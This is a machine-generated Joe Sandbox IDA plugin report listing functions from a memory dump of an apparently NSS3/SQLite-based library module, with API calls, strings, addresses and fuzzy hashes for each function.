Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: AlgorithmPolicy
String ID:
API String ID: 2721248240-0
Opcode ID: 2eae1f969210aedc8c3e1539ddbbd4e7e5e4d041f25c21f7885dfe3be1a642c6
Instruction ID: e2db0adedac29593919f4952ef9454320226c749b0d03372dafde3b20a55a21c
Opcode Fuzzy Hash: 2eae1f969210aedc8c3e1539ddbbd4e7e5e4d041f25c21f7885dfe3be1a642c6
Instruction Fuzzy Hash: 512193BAE1439957FB004657DE4BB8B36789B93B4DF080134FD16BEE42E710B41886A6

Function 6C818D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C8614E4,6C7CCC70), ref: 6C818D47
PR_GetCurrentThread.NSS3 ref: 6C818D98

Part of subcall function 6C6F0F00: PR_GetPageSize.NSS3(6C6F0936,FFFFE8AE,?,6C6816B7,00000000,?,6C6F0936,00000000,?,6C68204A), ref: 6C6F0F1B
Part of subcall function 6C6F0F00: PR_NewLogModule.NSS3(clock,6C6F0936,FFFFE8AE,?,6C6816B7,00000000,?,6C6F0936,00000000,?,6C68204A), ref: 6C6F0F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6C818E7B
htons.WSOCK32(?), ref: 6C818EDB
PR_GetCurrentThread.NSS3 ref: 6C818F99
PR_GetCurrentThread.NSS3 ref: 6C81910A

Strings

%u.%u.%u.%u, xrefs: 6C818E74

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 4f215e7b293a90f0689375ed7dcaa36962088ae79c7b065fc2254cedba63d74c
Instruction ID: b4ac21e3e21f144f9e0da6ac0485e533da5aaf698afd4e25aa20a70be083ff59
Opcode Fuzzy Hash: 4f215e7b293a90f0689375ed7dcaa36962088ae79c7b065fc2254cedba63d74c
Instruction Fuzzy Hash: EB02CB329092578FDB24CF19C568366BBF3EF42314F1A8B9AC8915BE91C339D985C790

Function 6C69EFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

table, xrefs: 6C69F05C, 6C69FABC, 6C69FAC7
not authorized, xrefs: 6C69F957, 6C69F9BA
sqlite_temp_master, xrefs: 6C69F0A6, 6C69F2D5
view, xrefs: 6C69F061, 6C69F071, 6C69FAB7
sqlite_master, xrefs: 6C69F0AB, 6C69F2DA, 6C69F757, 6C69F93E
there is already an index named %s, xrefs: 6C69F9D7
authorizer malfunction, xrefs: 6C69F95C, 6C69F9BF, 6C69FA5E, 6C69FA8B
temporary table name must be unqualified, xrefs: 6C69F734
%s %T already exists, xrefs: 6C69FAC8

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: 51563e92b088905816beaf2c6879ae630bed8a3921f2d80ab397c46e7f4dd14b
Instruction ID: 1255b14ef4380ac43827adb80a6f06909c532f41f43d386865ac921e46136fcb
Opcode Fuzzy Hash: 51563e92b088905816beaf2c6879ae630bed8a3921f2d80ab397c46e7f4dd14b
Instruction Fuzzy Hash: 4F72D270E042068FDB14CF68C484BAABBF1FF49308F1681AEE8159B752D775E846CB95

Function 6C7B9C40 Relevance: 11.1, APIs: 3, Strings: 3, Instructions: 565COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,6C68C52B), ref: 6C7B9D53
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014960,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C7BA035
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000149AD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C7BA114

Strings

%s at line %d of [%.10s], xrefs: 6C7BA02E, 6C7BA10D
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C7BA01F, 6C7BA0E4, 6C7BA0FE
database corruption, xrefs: 6C7BA029, 6C7BA108

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: sqlite3_log$memcmp
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 717804543-598938438
Opcode ID: c4bcfa86b5b5fd53f60fd4deac7f7883cecd3a234511465d0dccc4814eda9310
Instruction ID: da07a82575ac2710d6a79aa99f8564130795733147af75f9fc0ff8aeb3fdcb87
Opcode Fuzzy Hash: c4bcfa86b5b5fd53f60fd4deac7f7883cecd3a234511465d0dccc4814eda9310
Instruction Fuzzy Hash: CE22BD716087418FC704CF29C69066AB7F1BFEA354F14CA2DE8EAA7A41D735E845CB42

Function 6C7D9D90 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 237COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,6C698637,?,?), ref: 6C7D9E88
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011166,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,?,?,6C698637), ref: 6C7D9ED6

Strings

%s at line %d of [%.10s], xrefs: 6C7D9ECF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C7D9EC0
database corruption, xrefs: 6C7D9ECA

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 2eafaa49d72956760c074bba5ed6f009c4362205e9e82764812510d6e5b27828
Instruction ID: 82d363af36f3cf3adf0b1abcab4b806388aa89f1f293d32f91483abe052d2cdd
Opcode Fuzzy Hash: 2eafaa49d72956760c074bba5ed6f009c4362205e9e82764812510d6e5b27828
Instruction Fuzzy Hash: E381B231B001168FCB04CFA9CA94ADEB3F6EB58304F568569E819AB741EB30FD45CB91

Function 6C7E7F20 Relevance: 7.7, APIs: 2, Strings: 2, Instructions: 713COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000000,?), ref: 6C7E81BC

Strings

BINARY, xrefs: 6C7E8126
out of memory, xrefs: 6C7E835B

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: memset
String ID: BINARY$out of memory
API String ID: 2221118986-3971123528
Opcode ID: a1c60cfb89f12387eaa01a0e753d93b66187326ac522c1ee1ff1f6007564c128
Instruction ID: 39fbdbb0380f7102ee48fd11da76916ec52a1eb16662094ba2691b7812ff39fd
Opcode Fuzzy Hash: a1c60cfb89f12387eaa01a0e753d93b66187326ac522c1ee1ff1f6007564c128
Instruction Fuzzy Hash: 8652C072E05218DFDB14CF99C980BADBBB2FF49318F24816ED815AB751D731A846CB90

Function 6C769EC0 Relevance: 7.6, APIs: 5, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C769ED6

Part of subcall function 6C7614C0: TlsGetValue.KERNEL32 ref: 6C7614E0
Part of subcall function 6C7614C0: EnterCriticalSection.KERNEL32 ref: 6C7614F5
Part of subcall function 6C7614C0: PR_Unlock.NSS3 ref: 6C76150D

PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6C769EE4

Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C769F38

Part of subcall function 6C76D030: PORT_NewArena_Util.NSS3(00000400,00000000,?,00000000,?,6C769F0B), ref: 6C76D03B
Part of subcall function 6C76D030: PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6C76D04E
Part of subcall function 6C76D030: SECOID_FindOIDByTag_Util.NSS3(00000019), ref: 6C76D07B
Part of subcall function 6C76D030: SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000), ref: 6C76D08E
Part of subcall function 6C76D030: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C76D09D

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C769F49
SEC_PKCS7DestroyContentInfo.NSS3(?), ref: 6C769F59

Part of subcall function 6C769D60: PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6C769C5B), ref: 6C769D82
Part of subcall function 6C769D60: PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6C769C5B), ref: 6C769DA9
Part of subcall function 6C769D60: PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6C769C5B), ref: 6C769DCE
Part of subcall function 6C769D60: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6C769C5B), ref: 6C769E43

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Arena_CriticalEnterErrorGrow_Mark_SectionUnlock$AllocateContentCopyDestroyFindFreeInfoItem_Tag_
String ID:
API String ID: 4287675220-0
Opcode ID: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction ID: bad160057d886b10b968fe3d962ad649b44b27ee821c3665d4970a51bcd57d4c
Opcode Fuzzy Hash: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction Fuzzy Hash: 411126B5F042015BE7008B62AE08BDA7294AFA435CF150235EC0A9BF41FB62E9198291

Function 6C81CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C81D086
PR_Malloc.NSS3(00000001), ref: 6C81D0B9
PR_Free.NSS3(?), ref: 6C81D138

Strings

>, xrefs: 6C81CF5B

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: 13a0d4a1e6cfdbd721411b9d07651db0a325c49da596010c19560afa48b01692
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: 03D15C62B4D54B4FEB35487C8EA13DAB7D38742374F684B3AD5218BFE6E61988438341

Function 6C7BAD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15268edb5095a25797b3540a90bb25094eddd61ed620695beeee187c3d8f6be5
Instruction ID: a4b781b6ad608a73758e7f269b655ac748fb904b528cfdb515152e46e4c9eae0
Opcode Fuzzy Hash: 15268edb5095a25797b3540a90bb25094eddd61ed620695beeee187c3d8f6be5
Instruction Fuzzy Hash: 1FF1E071E011168FEB64CF29CA907AA77B0BB8A30CF55423DD915E7740EBB8A945CBC1

Function 6C7ADFC0 Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 344stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C685001,?,00000003,00000000), ref: 6C7ADFD7
memset.VCRUNTIME140(00000000,00000000,?,?,?,00000003,?,6C685001,?), ref: 6C7AE2B7
memcpy.VCRUNTIME140(00000028,00000003,?,?,?,?,?,?,00000003,?,6C685001,?), ref: 6C7AE2DA

Strings

W, xrefs: 6C7AE111

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: memcpymemsetstrlen
String ID: W
API String ID: 160209724-655174618
Opcode ID: c90ed141cafab695da545212c8b4b18b56ae0cad1be69ad616b6fd6b133b892c
Instruction ID: 3b939c38caee9be39babf5dfc02a4dbbf2305ab1d490758dbbbbb2f7ae27b693
Opcode Fuzzy Hash: c90ed141cafab695da545212c8b4b18b56ae0cad1be69ad616b6fd6b133b892c
Instruction Fuzzy Hash: BEC11B31B0565E8BDB04CFA9C5907AA77B1BF86308F288679DC695BB41D7319823CBD0

Function 6C770E20 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6C771052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6C771086

Strings

h(wl, xrefs: 6C770E55, 6C770EC4, 6C770F3A, 6C770FA7
h(wl, xrefs: 6C771062, 6C77105D, 6C770F37, 6C771081, 6C771082

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: memcpymemset
String ID: h(wl$h(wl
API String ID: 1297977491-2771381319
Opcode ID: 6f1fabc555b331707e9ed5a9fc20e061d31c69321e9e3e13b0e849d3f054c8cb
Instruction ID: 65e7ae3893bd72b26defdd0560d98972bde0c0e819f1ae791ce694d4ef006eb1
Opcode Fuzzy Hash: 6f1fabc555b331707e9ed5a9fc20e061d31c69321e9e3e13b0e849d3f054c8cb
Instruction Fuzzy Hash: 50A13C71B0125E9FDF18CF99C994AEEB7B6BF89314B148129E905A7700D735EC11CBA0

Function 6C696F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

unordered*, xrefs: 6C69702B
*?[, xrefs: 6C697034, 6C697052, 6C697070
noskipscan*, xrefs: 6C697067
sz=[0-9]*, xrefs: 6C697049

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID:
String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: 909b8d4b99217c650901670be5702054ef703c272be4b2b1b052e80c2136504d
Instruction ID: a453264092c10c0c55b4eacab1cbf0cbadbfcfe86c208d029e9d8ef71a30a92d
Opcode Fuzzy Hash: 909b8d4b99217c650901670be5702054ef703c272be4b2b1b052e80c2136504d
Instruction Fuzzy Hash: B3718B72F042174BEB148E6DC8803DE73A39F85318F294239C959ABBD1D6719C46C7C9

Function 6C6B3EC0 Relevance: 4.3, Strings: 3, Instructions: 583COMMON

Download Yara Rule

Strings

sqlite_temp_master, xrefs: 6C6B460F
sqlite_master, xrefs: 6C6B463F
sqlite_, xrefs: 6C6B3FAA, 6C6B4185

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID:
String ID: sqlite_$sqlite_master$sqlite_temp_master
API String ID: 0-4221611869
Opcode ID: 6280414f6535cd07746ccd56d9283906780171d5bd3901070249ff97280510ef
Instruction ID: 283e7b6ab516ee4b0c90d7b54dbea4a6c452f4130c2cdd75cb781d752b09fd88
Opcode Fuzzy Hash: 6280414f6535cd07746ccd56d9283906780171d5bd3901070249ff97280510ef
Instruction Fuzzy Hash: 37227931B495A64FD710CB2580602FA7BF29F47308B6C59A8CAE57FE43D271E861C784

Function 6C7EBE70 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 1029COMMON

Download Yara Rule

Strings

`, xrefs: 6C7EC0B6

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: bfd7f69563407a0fe8e85c7a2d7c690803e131cac66719fbbf0b73acf8b2a0d5
Instruction ID: d19ca8e5ab7d8835e8cb3f22c6a03faa0fcfe3380b8eef3f491021f9444a0e5e
Opcode Fuzzy Hash: bfd7f69563407a0fe8e85c7a2d7c690803e131cac66719fbbf0b73acf8b2a0d5
Instruction Fuzzy Hash: E992C175A002498FDB04DF58CA80BAEBBB6FF49309F284168D815ABB91D735EC46CB54

Function 6C683D80 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 164COMMON

Download Yara Rule

APIs

htonl.WSOCK32(00000000), ref: 6C683EA9

Strings

0, xrefs: 6C683DAB

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: htonl
String ID: 0
API String ID: 2009864989-4108050209
Opcode ID: 087a2369ed756c5f4e9c8b22edbef884ce68c5b6faff197512378b6fe7e9bb58
Instruction ID: 762a249d0e28ccfe0ba0cbe50ab9407e5ee7950a58a1001f72367c34beb6812c
Opcode Fuzzy Hash: 087a2369ed756c5f4e9c8b22edbef884ce68c5b6faff197512378b6fe7e9bb58
Instruction Fuzzy Hash: 2A514A31E4A0798AEB25467D88683FFFBB19B82314F18433BC5A167AC0C274454787F4

Function 6C72EE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C72F019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6C72F0F9

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
